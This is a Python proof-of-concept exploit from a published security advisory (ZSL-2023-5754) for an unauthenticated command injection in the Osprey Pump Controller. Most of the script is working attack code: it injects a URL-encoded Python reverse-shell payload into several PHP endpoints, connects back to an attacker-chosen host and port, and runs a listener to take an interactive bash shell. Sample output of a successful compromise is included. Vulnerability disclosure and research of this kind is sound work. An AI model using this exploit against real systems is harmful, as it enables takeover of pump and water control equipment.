#!/usr/bin/env python # # # Osprey Pump Controller 1.0.1 Unauthenticated Remote Code Execution Exploit # # # Vendor: ProPump and Controls, Inc. # Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com # Affected version: Software Build ID 20211018, Production 10/18/2021 # Mirage App: MirageAppManager, Release [1.0.1] # Mirage Model 1, RetroBoard II # # # Summary: Providing pumping systems and automated controls for # golf courses and turf irrigation, municipal water and sewer, # biogas, agricultural, and industrial markets. Osprey: door-mounted, # irrigation and landscape pump controller. # # Technology hasn't changed dramatically on pump and electric motors # in the last 30 years. Pump station controls are a different story. # More than ever before, customers expect the smooth and efficient # operation of VFD control. Communications—monitoring, remote control, # and interfacing with irrigation computer programs—have become common # requirements. Fast and reliable accessibility through cell phones # has been a game changer. # # ProPump & Controls can handle any of your retrofit needs, from upgrading # an older relay logic system to a powerful modern PLC controller, to # converting your fixed speed or first generation VFD control system to # the latest control platform with communications capabilities. # # We use a variety of solutions, from MCI-Flowtronex and Watertronics # package panels to sophisticated SCADA systems capable of controlling # and monitoring networks of hundreds of pump stations, valves, tanks, # deep wells, or remote flow meters. # # User friendly system navigation allows quick and easy access to all # critical pump station information with no password protection unless # requested by the customer. Easy to understand control terminology allows # any qualified pump technician the ability to make basic changes without # support. Similar control and navigation platform compared to one of the # most recognized golf pump station control systems for the last twenty # years make it familiar to established golf service groups nationwide. # Reliable push button navigation and LCD information screen allows the # use of all existing control panel door switches to eliminate the common # problems associated with touchscreens. # # Global system configuration possibilities allow it to be adapted to # virtually any PLC or relay logic controlled pump stations being used in # the industrial, municipal, agricultural and golf markets that operate # variable or fixed speed. On board Wi-Fi and available cellular modem # option allows complete remote access. # # Desc: The controller suffers from an unauthenticated command injection # vulnerability that allows system access with www-data permissions. # # ---------------------------------------------------------------------- # Triggering command injection... # Trying vector: /DataLogView.php # Operator...? # You got a call from 192.168.3.180:54508 # www-data@OspreyController:/var/www/html$ id;pwd # uid=33(www-data) gid=33(www-data) groups=33(www-data) # /var/www/html # www-data@OspreyController:/var/www/html$ exit # Zya! # ---------------------------------------------------------------------- # # Tested on: Apache/2.4.25 (Raspbian) # Raspbian GNU/Linux 9 (stretch) # GNU/Linux 4.14.79-v7+ (armv7l) # Python 2.7.13 [GCC 6.3.0 20170516] # GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git # PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2023-5754 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php # # # 05.01.2023 # # o o # O O # o o # o o #_____________________\ / # || # || # || from time import sleep import pygame.midi #---# import subprocess #---# import threading #-----# import telnetlib #-----# import requests #-------# import socket #-----------# import pygame #-----------# import random #-----------# import sys #---------------# import re #-----------------# ###### # #-----------------# class Pump__it__up: def __init__(self): self.sound=False self.param="eventFileSelected" self.vector=["/DataLogView.php?"+self.param, "/AlarmsView.php?"+self.param, "/EventsView.php?"+self.param, "/index.php"] # POST self.payload=None self.sagent="Tic" self.rhost=None self.lhost=None self.lport=None def propo(self): if len(sys.argv)!=4: self.kako() else: self.presh() self.rhost=sys.argv[1] self.lhost=sys.argv[2] self.lport=int(sys.argv[3]) if not "http" in self.rhost: self.rhost="http://{}".format(self.rhost) def kako(self): self.pumpaj() print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0])) exit(0) def pumpaj(self): titl=""" .-. | \\ | / \\ ,___| | \\ / ___( ) L '-` | | | | | F | | / | | | | ____|_|____ [___________] ,,,,,/,,,,,,,,,,,,,\\,,,,, o-------------------------------------o Osprey Pump Controller RCE Rev Shel_ v1.0j Ref: ZSL-2023-5754 by lqwrm, 2023 o-------------------------------------o """ print(titl) def injekcija(self): self.headers={"Accept":"*/*", "Connection":"close", "User-Agent":self.sagent, "Cache-Control":"max-age=0", "Accept-Encoding":"gzip,deflate", "Accept-Language":"en-US,en;q=0.9"} self.payload =";"######################################################" self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;" self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con" self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2" self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno()," self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######" print("Triggering command injection...") for url in self.vector: if url=="/index.php": print("Trying vector:",url) import urllib.parse self.headers["Content-Type"]="application/x-www-form-urlencoded" self.postdata={"userName":urllib.parse.unquote(self.payload), "pseudonym":"251"} r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata) if r.status_code == 200: break else: print("Trying vector:",url[:-18]) r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers) print("Code:",r.status_code) if r.status_code == 200: print('Access Granted!') break def netcat(self): import nclib server = nclib.TCPServer(("0.0.0.0",int(self.lport))) print("Operator...?") server.sock.settimeout(7) for client in server: print("You got a call from %s:%d" % client.peer) command="" while command!="exit": if len(command)>0: if command in client.readln().decode("utf-8").strip(" "): pass data = client.read_until('$') print(data.decode("utf-8"), end="") command = input(" ") client.writeln(command) print("Zya!") exit(1) def rasplet(self): if self.sound: konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain) konac1.start() konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat) konac2.start() self.injekcija() def presh(self): titl2=""" _______________________________________ / \\ | {###################################} | | {## Osprey Pump Controller ##} | | {## RCE 0day ##} | | {## ##} | | {## ZSL-2023-5754 ##} | | {###################################} | | | | 80 90 100 | | 70 ^ 120 | | 60 * /|\ * 140 | | 55 | 160 | | | | | | | | (O) (+) (O) | \_______________________________________/ """ print(titl2) def entertain(self): pygame.midi.init() midi_output=pygame.midi.Output(0) notes=[ (74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251), (83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251), (72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251), (62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251), (47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251), (67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251), (62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251), (64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251), (72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251), (76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251), (78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251), (76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251), (79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251), (77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251), (52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251), (62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251), (64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251), (72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251), (51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251), (50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251), (54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251), (86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)] channel=0 velocity=124 for note, duration in notes: midi_output.note_on(note, velocity, channel) duration=59 pygame.time.wait(random.randint(100,301)) pygame.time.wait(duration) midi_output.note_off(note, velocity, channel) del midi_output pygame.midi.quit() def main(self): self.propo() self.rasplet() exit(1) if __name__=='__main__': Pump__it__up().main()